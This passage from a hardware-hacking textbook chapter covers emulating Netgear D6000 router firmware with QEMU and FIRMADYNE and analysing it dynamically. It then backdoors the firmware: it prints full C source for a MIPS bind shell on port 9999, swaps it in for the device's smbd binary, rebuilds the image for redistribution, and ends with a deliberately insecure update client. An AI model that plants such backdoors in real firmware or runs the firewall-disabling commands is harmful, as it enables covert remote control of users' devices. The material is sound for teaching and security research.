/usr/etc/802_1X/CA/cacert.pem
/usr/etc/cert.pem
…
/usr/etc/802_1X/PKEY/client.key
…
##################################### *.cfg
…
/userfs/romfile.cfg
…

The tool automatically located the files we identified manually, among 
others that also look suspicious. We’ll leave the examination of these new 
files as an exercise for you to complete. 

Netgear patched the vulnerability caused by the hardcoded credentials 
in the latest firmware and published a security advisory (https://kb.netgear.com/ 
30560/CVE-2015-8288-Use-of-Hard-coded-Cryptographic-Key/) that informs cus-
tomers about this issue.

Firmware Emulation
In this section, we’ll show you how to emulate a firmware. Once we’ve done 
so, we can perform dynamic analysis tests that are only possible while the 
firmware is operating normally. We’ll use two emulation techniques: binary 
emulation using Quick Emulator (QEMU) and whole firmware emulation using 
FIRMADYNE. QEMU is an open source machine emulator and analyzer that 
works with multiple operating systems and programs, whereas FIRMADYNE 
(https://github.com/firmadyne/firmadyne/) is a platform for automating the emu-
lation and dynamic analysis of Linux-based firmware. 

Binary Emulation

Emulating a single binary in the firmware is a quick way to infer the related 
business logic and dynamically analyze the provided functionality for security 
vulnerabilities. This approach also allows you to use specialized binary analy-
sis tools, disassemblers, and fuzzing frameworks that you usually can’t install 
in environments with limited resources. Those environments include embed-
ded systems or those that aren’t efficient to use with large and complex inputs, 
such as a complete device firmware. Unfortunately, you might not be able to 
emulate binaries that have specialized hardware requirements and look for 
specific serial ports or device buttons. Also, you might have trouble emulating 
binaries that depend on shared libraries that get loaded at runtime or those 
that need to interact with the platform’s other binaries to operate successfully. 

https://kb.netgear.com/30560/CVE-2015-8288-Use-of-Hard-coded-Cryptographic-Key/
https://kb.netgear.com/30560/CVE-2015-8288-Use-of-Hard-coded-Cryptographic-Key/
https://github.com/firmadyne/firmadyne/
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To emulate a single binary, we first need to identify its endianness and 
the CPU architecture for which it was compiled. You can find the main 
binaries on Linux distributions in the bin folder and list them using the ls 
command, which is preinstalled in Kali Linux:

$ ls -l ./squashfs-root/bin/
total 492
lrwxrwxrwx 1 root root      7 Jan 24  2015 ash -> busybox
-rwxr-xr-x 1 root root 502012 Jan 24  2015 busybox
lrwxrwxrwx 1 root root      7 Jan 24  2015 cat -> busybox
lrwxrwxrwx 1 root root      7 Jan 24  2015 chmod -> busybox
…
lrwxrwxrwx 1 root root      7 Jan 24  2015 zcat -> busybox

The -l parameter displays extra information about the files, including 
the paths of symbolic links (references to other files or directories). As you 
can see, all binaries in the directory are symbolic links to the busybox exe-
cutable. In limited environments, such as embedded systems, it’s very com-
mon to have only a single binary called busybox. This binary performs tasks 
similar to those of Unix-based operating system executables but uses fewer 
resources. Attackers have successfully targeted past versions of busybox, but 
the identified vulnerabilities have been mitigated in the latest versions.

To see the busybox executable’s file format, use the file command:

$ file ./squashfs-root/bin/busybox
./squashfs-root/bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 
version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, 
stripped

The executable file format is for the MIPS CPU architecture, which is 
very common in lightweight embedded devices. The MSB label in the output 
indicates that the executable follows a big-endian byte ordering (as opposed 
to an output containing the LSB label, which would indicate a little-endian 
byte ordering). 

Now we can emulate the busybox executable using QEMU. Install it 
using apt-get:

$ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-
system-mips qemu-system-x86 qemu-utils

Because the executables are compiled for MIPS and follow the big-
endian byte ordering, we’ll use QEMU’s qemu-mips emulator. To emulate 
little-endian executables, we would have to select the emulator with the el 
suffix, which in this case would be qemu-mipsel:

$ qemu-mips -L ./squashfs-root/ ./squashfs-root/bin/zcat 
zcat: compressed data not read from terminal.  Use -f to force it.
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You can now perform the rest of the dynamic analysis by fuzzing, 
debugging, or even performing symbolic execution. You can learn more 
about these techniques in Practical Binary Analysis by Dennis Andriesse (No 
Starch Press, 2018).

Complete Firmware Emulation

To emulate the whole firmware rather than a single binary, you can use an 
open source application called firmadyne. FIRMADYNE is based on QEMU, 
and it’s designed to perform all the necessary configurations of the QEMU 
environment and host system for you, simplifying the emulation. But note 
that FIRMADYNE isn’t always completely stable, especially when the firm-
ware interacts with very specialized hardware components, such as device 
buttons or secure enclave chips. Those parts of the emulated firmware might 
not work correctly. 

Before we use FIRMADYNE, we need to prepare the environment. The 
following commands install the packages that this tool needs to operate 
and clones its repository to our system.

$ sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap python-
psycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan
$ git clone --recursive https://github.com/firmadyne/firmadyne.git

At this point, you should have a firmadyne folder on your system. To 
quickly set up the tool, navigate to the tool’s directory and run ./setup.sh. 
Alternatively, you can manually set it up using the steps shown here. Doing 
so allows you to select the appropriate package managers and tools for your 
system. 

You’ll also have to install a PostgreSQL database to store information 
used for the emulation. Create a FIRMADYNE user using the -P switch. 
In this example, we use firmadyne as the password, as recommended by the 
tool’s authors:

$ sudo apt-get install postgresql
$ sudo service postgresql start
$ sudo -u postgres createuser -P firmadyne 

Then create a new database and load it with the database schema avail-
able in the firmadyne repository folder: 

$ sudo -u postgres createdb -O firmadyne firmware
$ sudo -u postgres psql -d firmware < ./firmadyne/database/schema

Now that the database is set up, download the prebuilt binaries for all 
the FIRMADYNE components by running the download.sh script located 
in the repository folder. Using the prebuilt binaries will significantly 
reduce the overall setup time.

$ cd ./firmadyne; ./download.sh
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Then set the FIMWARE_DIR variable to point to the current working reposi-
tory in the firmadyne.config file located in the same folder. This change 
allows FIRMADYNE to locate the binaries in the Kali Linux filesystem. 

FIRMWARE_DIR=/home/root/Desktop/firmadyne
…

In this example, the folder is saved on the Desktop, but you should 
replace the path with the folder’s location on your system. Now copy or 
download the firmware for the D6000 device (obtained in “Hacking a Wi-Fi 
Modem Router” on page 211) into this folder:

$ wget http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip

FIRMADYNE includes an automated Python script for extracting the 
firmware. But to use the script, you must first install Python’s binwalk module:

$ git clone https://github.com/ReFirmLabs/binwalk.git
$ cd binwalk
$ sudo python setup.py install

We use the python command to initialize and set up binwalk. Next, we 
need two more python packages, which we can install using Python’s pip 
package manager:

$ sudo -H pip install git+https://github.com/ahupp/python-magic
$ sudo -H pip install git+https://github.com/sviehb/jefferson

Now you can use FIRMADYNE’s extractor.py script to extract the firm-
ware from the compressed file:

$ ./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk "D6000_V1.0.0.41_1.0.1_
FW.zip" images
>> Database Image ID: 1
/home/user/Desktop/firmadyne/D6000_V1.0.0.41_1.0.1_FW.zip >> MD5: 
1c4ab13693ba31d259805c7d0976689a
>> Tag: 1
>> Temp: /tmp/tmpX9SmRU
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
>>>> Zip archive data, at least v2.0 to extract, compressed size: 9667454, uncompressed size: 
9671530, name: D6000-V1.0.0.41_1.0.1.bin
>> Recursing into archive ...
/tmp/tmpX9SmRU/_D6000_V1.0.0.41_1.0.1_FW.zip.extracted/D6000-V1.0.0.41_1.0.1.bin
    >> MD5: 5be7bba89c9e249ebef73576bb1a5c33
    >> Tag: 1 1
    >> Temp: /tmp/tmpa3dI1c
    >> Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
    >> Recursing into archive ...
    >>>> Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8252568
         bytes, 1762 inodes, blocksize: 131072 bytes, created: 2015-01-24 10:52:26
    Found Linux filesystem in /tmp/tmpa3dI1c/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-
    root! 2
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        >> Skipping: completed!
        >> Cleaning up /tmp/tmpa3dI1c...
>> Skipping: completed!
>> Cleaning up /tmp/tmpX9SmRU...

The -b parameter specifies the name used to store the results of the 
extraction. We opted to use the firmware vendor’s name. The -sql param-
eter sets the location of the SQL database. Next, we use two flags recom-
mended by the application’s documentation. The -nk parameter keeps any 
Linux kernel included in the firmware from being extracted, which will 
speed up the process. The -np parameter specifies that no parallel opera-
tion will be performed. 

If the script is successful, the final lines of the output will contain a 
message indicating that it found the Linux filesystem 2. The 1 tag 1 indi-
cates that the extracted images are located at ./images/1.tar.gz. 

Use the getArch.sh script to automatically identify the firmware’s archi-
tecture and store it in the FIRMADYNE database:

$ ./scripts/getArch.sh ./images/1.tar.gz
./bin/busybox: mipseb

FIRMADYNE identified the mipseb executable format, which corre-
sponds to MIPS big-endian systems. You should have expected this output, 
because we got the same result when we used the file command in “Binary 
Emulation” on page 216 to analyze the header of a single binary.

Now we’ll use the tar2db.py and makeImage.sh scripts to store information 
from the extracted image in the database and generate a QEMU image that 
we can emulate.

$./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
$./scripts/makeImage.sh 1
Querying database for architecture... Password for user firmadyne: 
mipseb
…
Removing /etc/scripts/sys_resetbutton!
----Setting up FIRMADYNE----
----Unmounting QEMU Image----
loop deleted : /dev/loop0

We provide the tag name with the -i parameter and the location of the 
extracted firmware with the –f parameter. 

We also have to set up the host device so it can access and interact with 
the emulated device’s network interfaces. This means that we need to con-
figure an IPv4 address and the proper network routes. The inferNetwork.sh 
script can automatically detect the appropriate settings:

$ ./scripts/inferNetwork.sh 1
Querying database for architecture... Password for user firmadyne: 
mipseb
Running firmware 1: terminating after 60 secs...
qemu-system-mips: terminating on signal 2 from pid 6215 (timeout)
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Inferring network...
Interfaces: [('br0', '192.168.1.1')]
Done!

FIRMADYNE successfully identified an interface with the IPv4 address 
192.168.1.1 in the emulated device. Additionally, to begin the emulation 
and set up the host device’s network configuration, use the run.sh script, 
which is automatically created in the ./scratch/1/ folder:

$ ./scratch/1/run.sh
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[    0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc 
version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[    0.000000] 
[    0.000000] LINUX started...
…
Please press Enter to activate this console. 
tc login:admin
Password: 
# 

A login prompt should appear. You should be able to authenticate using 
the set of credentials discovered in “Finding Credentials in Configuration 
Files” on page 214.

Dynamic Analysis
You can now use the firmware as though it were your host device. Although 
we won’t walk through a complete dynamic analysis here, we’ll give you some 
ideas of where to start. For example, you can list the firmware’s rootfs files 
using the ls command. Because you’ve emulated the firmware, you might 
discover files that were generated after the device booted and didn’t exist 
during the static analysis phase.

$ ls
bin               firmadyne         lost+found        tmp
boaroot           firmware_version  proc              userfs
dev               lib               sbin              usr
etc               linuxrc           sys               var

Look through these directories. For example, in the etc directory, the  
/etc/passwd file maintains the authentication details in Unix-based systems. 
You can use it to verify the existence of the accounts you identified during 
static analysis.

$ cat /etc/passwd 
admin:$1$$I2o9Z7NcvQAKp7wyCTlia0:0:0:root:/:/bin/sh
qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwerty 
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uiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui:$1$$MJ7v7GdeVaM1xIZdZYKzL
1:0:0:root:/:/bin/sh
anonymous:$1$$D3XHL7Q5PI3Ut1WUbrnz20:0:0:root:/:/bin/sh

Next, it’s important to identify the network services and established 
connections, because you might identify services that you could use for 
further exploitation at a later stage. You can do this using the netstat 
command:

$ netstat -a -n -u -t
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:3333            0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      
tcp        0      0 192.168.1.1:23          0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      
tcp        0      0 :::80                   :::*                    LISTEN      
tcp        0      0 :::53                   :::*                    LISTEN      
tcp        0      0 :::443                  :::*                    LISTEN      
udp        0      0 192.168.1.1:137         0.0.0.0:*                           
udp        0      0 0.0.0.0:137             0.0.0.0:*                           
udp        0      0 192.168.1.1:138         0.0.0.0:*                           
udp        0      0 0.0.0.0:138             0.0.0.0:*                           
udp        0      0 0.0.0.0:50851           0.0.0.0:*                           
udp        0      0 0.0.0.0:53              0.0.0.0:*                           
udp        0      0 0.0.0.0:67              0.0.0.0:*                           
udp        0      0 :::53                   :::*                                
udp        0      0 :::69                   :::*                      

The -a parameter requests listening and nonlistening network sockets 
(the combination of an IP address and a port). The -n parameter displays 
the IP addresses in a numeric format. The -u and -t parameters return 
both UDP and TCP sockets. The output indicates the existence of an HTTP 
server at port 80 and 443 that is waiting for connections.

To access network services from the host device, you might have to disable 
any existing firewall implementations in the firmware. On Linux platforms, 
these implementations are usually based on iptables, a command line utility 
that allows you to configure a list of IP packet-filter rules in the Linux kernel. 
Each rule lists certain network connection attributes, such as the used port, 
source IP address, and destination IP address, and states whether a network 
connection with those attributes should be allowed or blocked. If a new net-
work connection doesn’t match any rules, the firewall uses a default policy. To 
disable any iptables-based firewall, change the default policies to accept all 
connections and then clear any existing rules using the following commands:

$ iptables --policy INPUT ACCEPT
$ iptables --policy FORWARD ACCEPT
$ iptables --policy OUTPUT ACCEPT
$ iptables -F
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Now try navigating to the device’s IP address using your browser to 
access the web app hosted by the firmware (Figure 9-3).

Figure 9-3: The firmware’s web app

You might not be able to access all of the firmware’s HTTP pages, 
because many of them require feedback from specialized hardware compo-
nents, such as the Wi-Fi, Reset, and WPS buttons. It’s likely that FIRMADYNE 
won’t automatically detect and emulate all these components, and as a result, 
the HTTP server might crash. You might need to restart the firmware’s 
HTTP server multiple times to access certain pages. We leave this as an exer-
cise for you to complete.

We won’t cover network attacks in this chapter, but you can use the 
information in Chapter 4 to identify vulnerabilities in the network stack 
and services. Begin by assessing the device’s HTTP service. For example, the 
source code of the publicly accessible page /cgi-bin/passrec.asp contains  
the administrator’s password. Netgear has published this vulnerability at 
 https://kb.netgear.com/30490/CVE-2015-8289-Authentication-Bypass-Using-an 
-Alternate-Path-or-Channel/.

Backdooring Firmware
A backdoor agent is software hidden inside a computing device that allows 
an attacker to gain unauthorized access to the system. In this section, 
we’ll modify a firmware by adding a tiny backdoor that will execute when 
the firmware boots up, providing the attacker with a shell from the victim 
device. Also, the backdoor will allow us to perform dynamic analysis with 
root privileges in a real and functional device. This approach is extremely 
helpful in cases when FIRMADYNE can’t correctly emulate all firmware 
functionalities. 

https://kb.netgear.com/30490/CVE-2015-8289-Authentication-Bypass-Using-an-Alternate-Path-or-Channel/
https://kb.netgear.com/30490/CVE-2015-8289-Authentication-Bypass-Using-an-Alternate-Path-or-Channel/
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As a backdoor agent, we’ll use a simple bind shell written in C by Osanda 
Malith (Listing 9-1). This script listens for new incoming connections to a 
predefined network port and allows remote code execution. We’ve added a 
fork() command to the original script to make it work in the background. 
This will create a new child process, which runs concurrently in background, 
while the parent process simply terminates and prevents the calling program 
from halting.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SERVER_PORT	 9999
 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
  * Bind Shell using Fork for my TP-Link mr3020 router running busybox
  * Arch : MIPS
  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
  */
int main() {
        int serverfd, clientfd, server_pid, i = 0;
        char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
        char *args[] = { "/bin/busybox", "sh", (char *) 0 };
        struct sockaddr_in server, client;
        socklen_t len;
        int x = fork();
        if (x == 0){
        server.sin_family = AF_INET;
        server.sin_port = htons(SERVER_PORT);
        server.sin_addr.s_addr = INADDR_ANY; 

        serverfd = socket(AF_INET, SOCK_STREAM, 0);
        bind(serverfd, (struct sockaddr *)&server, sizeof(server));
        listen(serverfd, 1);

    while (1) { 
        len = sizeof(struct sockaddr);
        clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
        server_pid = fork(); 
        if (server_pid) { 
            write(clientfd, banner,  strlen(banner));
            for(; i <3 /*u*/; i++) dup2(clientfd, i);
            execve("/bin/busybox", args, (char *) 0);
            close(clientfd); 
        } close(clientfd);
    } 
 }
 return 0;
}

Listing 9-1: A modified version of Osanda Malith’s backdooring script (https://github.com/OsandaMalith/
TP-Link/blob/master/bindshell.c)

https://github.com/OsandaMalith/TP-Link/blob/master/bindshell.c
https://github.com/OsandaMalith/TP-Link/blob/master/bindshell.c
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Once executed, the script will start listening on port 9999 and execute 
any input received through that port as a system command. 

To compile the backdoor agent, we first need to set up the compilation 
environment. The easiest way is to use the OpenWrt project’s frequently 
updated toolchain.

$ git clone https://github.com/openwrt/openwrt
$ cd openwrt
$ ./scripts/feeds update -a
$ ./scripts/feeds install -a
$ make menuconfig

By default, these commands will compile the firmware for the Atheros 
AR7 type of System on a Chip (SoC) routers, which are based on MIPS pro-
cessors. To set a different value, click Target System and choose one of the 
available Atheros AR7 devices (Figure 9-4). 

Figure 9-4: Reconfiguring the OpenWrt build target environment

Then save your changes to a new configuration file by clicking the SAVE 
option, and exit from the menu by clicking the EXIT option (Figure 9-5).

Figure 9-5: Selecting the Atheros target in the OpenWrt settings
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Next, compile the toolchain using the make command:

$ make toolchain/install 
time: target/linux/prereq#0.53#0.11#0.63
make[1] toolchain/install
make[2] tools/compile
make[3] -C tools/flock compile
…

In OpenWrt’s staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/ folder, 
you’ll find the mips-openwrt-linux-gcc compiler, which you can use as follows: 

$ export STAGING_DIR="/root/Desktop/mips_backdoor/openwrt/staging_dir"
$ ./openwrt/staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/mips-openwrt-linux-gcc 
bindshell.c -o bindshell -static -EB -march=24kc

This should output a binary named bindshell. Transfer the binary to the 
emulated firmware using FIRMADYNE and verify that it works correctly. 
You can do this easily by using Python to create a mini web server in the 
folder that the binary is in:

$ python -m SimpleHTTPServer 8080 /

Then, in the emulated firmware, download the binary using the wget 
command:

$ wget http://192.168.1.2:8080/bindshell
Connecting to 192.168.1.2[192.168.1.2]:80
bindshell 100% |*****************************| 68544       00:00 ETA
$ chmod +x ./bindshell
$ ./bindshell

To verify that the backdoor agent works, attempt to connect to it from 
your host device using Netcat. An interactive shell should appear.

$ nc 192.168.1.1 9999
[~] Welcome to @OsandaMalith's Bind Shell
ls -l
drwxr-xr-x    2 0        0            4096 bin
drwxr-xr-x    4 0        0            4096 boaroot
drwxr-xr-x    6 0        0            4096 dev
…

At this stage, we need to patch the firmware so we can redistribute it. 
For this purpose, we can use the open source project firmware-mod-kit. Start 
by installing the necessary system packages using apt-get:

$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic 
bsdmainutils

Then use the git command to download the application from the 
GitHub repository. This repository hosts a forked version of the application, 
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because the original is no longer maintained. The application folder con-
tains a script named ./extract-firmware.sh that you can use to extract the firm-
ware using a process similar to FIRMADYNE.

$ git clone https://github.com/rampageX/firmware-mod-kit
$ cd firmware-mod-kit
$ ./extract-firmware.sh D6000-V1.0.0.41_1.0.1.bin 
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Preparing tools ...
…
Extracting 1418962 bytes of  header image at offset 0
Extracting squashfs file system at offset 1418962
Extracting 2800 byte footer from offset 9668730
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in '/root/Desktop/firmware-mod-kit/fmk/*'

For the attack to be successful, the firmware should replace an existing 
binary that runs automatically, guaranteeing that any normal use of the device 
will trigger the backdoor. During the dynamic analysis phase, we indeed identi-
fied a binary like that: an SMB service running at port 445. You can find the 
smbd binary in the /userfs/bin/smbd directory. Let’s replace it with the bindshell: 

$ cp bindshell /userfs/bin/smbd

After replacing the binary, reconstruct the firmware using the build 
-firmware script:

$ ./build-firmware.sh
firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Building new squashfs file system... (this may take several minutes!)
Squashfs block size is 128 Kb
…
Firmware header not supported; firmware checksums may be incorrect. 
New firmware image has been saved to: /root/Desktop/firmware-mod-kit/fmk/new-firmware.bin

Then use firmadyne to verify that when the firmware boots, the bind-
shell is still working. Using netstat, you can verify that the firmware’s SMB 
service, which normally listens for new connections at port 445, has been 
replaced with the backdoor agent, which listens for new connections on 
port 9999:

$ netstat -a -n -u -t
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:3333            0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      
tcp        0      0 192.168.1.1:23          0.0.0.0:*               LISTEN      
tcp        0      0 :::80                   :::*                    LISTEN      
tcp        0      0 :::53                   :::*                    LISTEN      
tcp        0      0 :::443                  :::*                    LISTEN      
udp        0      0 0.0.0.0:57218           0.0.0.0:*                           
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udp        0      0 192.168.1.1:137         0.0.0.0:*                           
udp        0      0 0.0.0.0:137             0.0.0.0:*                           
udp        0      0 192.168.1.1:138         0.0.0.0:*                           
udp        0      0 0.0.0.0:138             0.0.0.0:*                           
udp        0      0 0.0.0.0:53              0.0.0.0:*                           
udp        0      0 0.0.0.0:67              0.0.0.0:*                           
udp        0      0 :::53                   :::*                                
udp        0      0 :::69                   :::*                                

Instead of replacing the binary, you could patch the binary to provide 
the legitimate functionality and the bindshell. This would make users 
less likely to detect the backdoor. We leave this as an exercise for you to 
complete.

Targeting Firmware Update Mechanisms
A firmware’s update mechanism is a significant attack vector and is one of 
the top 10 IoT vulnerabilities according to OWASP. The firmware update mech-
anism is the process that fetches a newer version of the firmware, whether 
through the vendor’s website or an external device such as a USB drive, and 
installs it by replacing the earlier version. These mechanisms can introduce 
a range of security problems. They often fail to validate the firmware or 
use unencrypted network protocols; some lack anti-rollback mechanisms or 
don’t notify the end user about any security changes that resulted from the 
update. The update process might also exacerbate other problems in the 
device, such as the use of hardcoded credentials, an insecure authentication 
to the cloud component that hosts the firmware, and even excessive and 
insecure logging. 

To teach you about all these issues, we’ve created a deliberately vul-
nerable firmware update service. This service consists of an emulated IoT 
device that fetches firmware from an emulated cloud update service. You 
can download the files for this exercise from the book’s website at https://
nostarch.com/practical-iot-hacking/. This update service might be included in 
the future as part of IoTGoat, a deliberately insecure firmware based on 
OpenWrt whose goal is to teach users about common vulnerabilities in IoT 
devices. The authors of this book contribute to that project.

To deliver the new firmware file, the server will listen on TCP port 31337. 
The client will connect to the server on that port and authenticate using a 
preshared hardcoded key. The server will then send the following to the cli-
ent, in order: the firmware length, an MD5 hash of the firmware file, and 
the firmware file. The client will verify the integrity of the firmware file by 
comparing the received MD5 hash with a hash of the firmware file, which it 
calculates using the same preshared key (which it used to authenticate ear-
lier). If the two hashes match, it writes the received firmware file to the cur-
rent directory as received_firmware.gz. 

https://nostarch.com/practical-iot-hacking/
https://nostarch.com/practical-iot-hacking/
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Compilation and Setup 
Although you can run the client and the server on the same host, ideally 
you would run them on separate hosts to mimic a real update process. So 
we recommend compiling and setting up the two components on separate 
Linux systems. In this demonstration, we’ll use Kali Linux for the update 
server and Ubuntu for the IoT client, but you should be able to use any 
Linux distribution, as long as you’ve installed the proper dependencies. 
Install the following packages on both machines:

# apt-get install build-essential libssl-dev

Navigate to the client directory and use the makefile included there to 
compile the client program by entering the following: 

$ make client

This should create the executable client file on the current directory. 
Next, compile the server on the second machine. Navigate to the directory 
where the makefile and server.c reside and compile them by entering this 
command:

$ make server

We won’t analyze the server code, because in a real security assess-
ment, you’d most likely only have access to the client binary (not even the 
source code!) from the firmware filesystem. But for educational purposes, 
we’ll examine the client’s source code to shed some light on the underlying 
vulnerabilities.

The Client Code
Now let’s look at the client code. This program, written in C, is available 
at https://nostarch.com/practical-iot-hacking/. We’ll highlight only the impor-
tant parts: 

#define PORT 31337
#define FIRMWARE_NAME "./received_firmware.gz"
#define KEY "jUiq1nzpIOaqrWa8R21"

The #define directives define constant values. We first define the server 
port on which the update service will be listening. Next, we specify a name 
for the received firmware file. Then we hardcode an authentication key that 
has already been shared with the server. Using hardcoded keys is a security 
problem, as we’ll explain later.

We’ve split the code from the client’s main() function into two separate 
listings for better clarity. Listing 9-2 is the first part.

https://nostarch.com/practical-iot-hacking/
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int main(int argc, char **argv) {
  struct sockaddr_in servaddr;
  int sockfd, filelen, remaining_bytes;
  ssize_t bytes_received;
  size_t offset;
  unsigned char received_hash[16], calculated_hash[16];
  unsigned char *hash_p, *fw_p;
  unsigned int hash_len;
  uint32_t hdr_fwlen;
  char server_ip[16] = "127.0.0.1"; 1
  FILE *file;

  if (argc > 1) 2
    strncpy((char *)server_ip, argv[1], sizeof(server_ip) - 1);

  openlog("firmware_update", LOG_CONS | LOG_PID | LOG_NDELAY, LOG_LOCAL1);
  syslog(LOG_NOTICE, "firmware update process started with PID: %d", getpid());

  memset(&servaddr, 0, sizeof(servaddr)); 3
  servaddr.sin_family = AF_INET;
  inet_pton(AF_INET, server_ip, &(servaddr.sin_addr));
  servaddr.sin_port = htons(PORT);
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    fatal("Could not open socket %s\n", strerror(errno));

  if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr)) == -1)
    fatal("Could not connect to server %s: %s\n", server_ip, strerror(errno));

  /* send the key to authenticate */
  write(sockfd, &KEY, sizeof(KEY)); 4
  syslog(LOG_NOTICE, "Authenticating with %s using key %s", server_ip, KEY);

  /* receive firmware length */
  recv(sockfd, &hdr_fwlen, sizeof(hdr_fwlen), 0); 5
  filelen = ntohl(hdr_fwlen);
  printf("filelen: %d\n", filelen);

Listing 9-2: The first half of the insecure firmware update client’s main() function

The main function begins by defining variables for networking pur-
poses and to store values used throughout the program. We won’t explain 
the network programming part of the code in detail. Rather, we’ll focus 
on the high-level functionality. Notice the server_ip variable 1, which 
stores the server’s IP address as a null-terminated C string. If the user 
doesn’t specify any argument in the command line when starting the cli-
ent, the IP address will default to the localhost (127.0.0.1). Otherwise, we 
copy the first argument, argv[1] (because argv[0] is always the program’s 
filename), to the server_ip 2. Next, we open a connection to the system 
logger  and instruct it to prepend all messages it receives in the future 
with the firmware_update keyword, followed by the caller’s process identifier 
(PID). From then on, every time the program calls the syslog function, it 
sends messages to the /var/log/messages file—the general system activity log, 
which is typically used for noncritical, nondebugging messages.
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The next code block prepares the TCP socket (through the socket 
descriptor sockfd) 3 and initiates the TCP connection to the server. If the 
server is listening on the other end, the client will successfully conduct the 
TCP three-way handshake. It can then begin sending or receiving data 
through the socket. 

The client then authenticates to the server by sending the KEY value 
defined earlier 4. It sends another message to syslog  indicating that it’s 
trying to authenticate using this key. This action is an example of two inse-
cure practices: excessive logging and the inclusion of sensitive information 
in log files. The preshared secret key is now written to a log that unprivi-
leged users might be able to access. You can read more about these issues 
at https://cwe.mitre.org/data/definitions/779.html and https://cwe.mitre.org/data/
definitions/532.html. 

After the client authenticates successfully, it waits to receive the firm-
ware length from the server, storing that value in hdr_fwlen, and then con-
verts it from network-byte order to host-byte order by calling ntohl 5. 

Listing 9-3 shows the second part of the main function.

  /* receive hash */
  recv(sockfd, received_hash, sizeof(received_hash), 0); 1
  
  /* receive file */
  if (!(fw_p = malloc(filelen))) 2
    fatal("cannot allocate memory for incoming firmware\n");

  remaining_bytes = filelen;
  offset = 0;
  while (remaining_bytes > 0) {
    bytes_received = recv(sockfd, fw_p + offset, remaining_bytes, 0);
    offset += bytes_received; 
    remaining_bytes -= bytes_received;
#ifdef DEBUG
    printf("Received bytes %ld\n", bytes_received);
#endif
  }

  /* validate firmware by comparing received hash and calculated hash */
  hash_p = calculated_hash;
  hash_p = HMAC(EVP_md5(), &KEY, sizeof(KEY) - 1, fw_p, filelen, hash_p, &hash_len); 3

  printf("calculated hash: ");
  for (int i = 0; i < hash_len; i++)
    printf("%x", hash_p[i]);
  printf("\nreceived hash: ");
  for (int i = 0; i < sizeof(received_hash); i++)
    printf("%x", received_hash[i]);
  printf("\n");

  if (!memcmp(calculated_hash, received_hash, sizeof(calculated_hash))) 4
    printf("hashes match\n");
  else
    fatal("hash mismatch\n");

https://cwe.mitre.org/data/definitions/779.html
https://cwe.mitre.org/data/definitions/532.html
https://cwe.mitre.org/data/definitions/532.html
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  /* write received firmware to disk */
  if (!(file = fopen(FIRMWARE_NAME, "w")))
    fatal("Can't open file for writing %s\n", strerror(errno));
  fwrite(fw_p, filelen, 1, file); 5

  syslog(LOG_NOTICE, "Firmware downloaded successfully"); 6
  /* clean up */
  free(fw_p);
  fclose(file);
  close(sockfd);
  closelog();
  return 0;

Listing 9-3: The second half of the insecure firmware update client’s main() function

After receiving the firmware length (stored in variable filelen), the  
client receives the firmware file’s MD5 hash (stored in variable received 
_hash) 1. Then, based on the firmware length, it allocates enough memory 
on the heap to receive the firmware file 2. The while loop  gradually 
receives the firmware file from the server and writes it in that allocated 
memory. 

The client then calculates the firmware file’s MD5 hash (calculated_hash) 
using the preshared key 3. For debugging purposes, we also print the calcu-
lated and received hashes. If the two hashes match 4, the client creates a file 
in the current directory using a filename taken from the value of FIRMWARE 
_NAME. It then dumps the firmware 5, which was stored in memory (pointed 
to by fw_p), to that file on the disk. It sends a final message to syslog 6 about 
completing the new firmware download, does some cleanup, and exits. 

W A R N I N G 	 Keep in mind that this client was written in a deliberately insecure manner. Don’t use 
it in a production environment (notice that it even omits error checking for some func-
tions for brevity). Use this only in an isolated, contained lab environment.

Running the Update Service
To test the update service, we first execute the server. We do so on an 
Ubuntu host with the IP address 192.168.10.219. Once the server starts lis-
tening, we run the client, passing it the server’s IP address as its first argu-
ment. We run the client on a Kali host with the IP address 192.168.10.10:
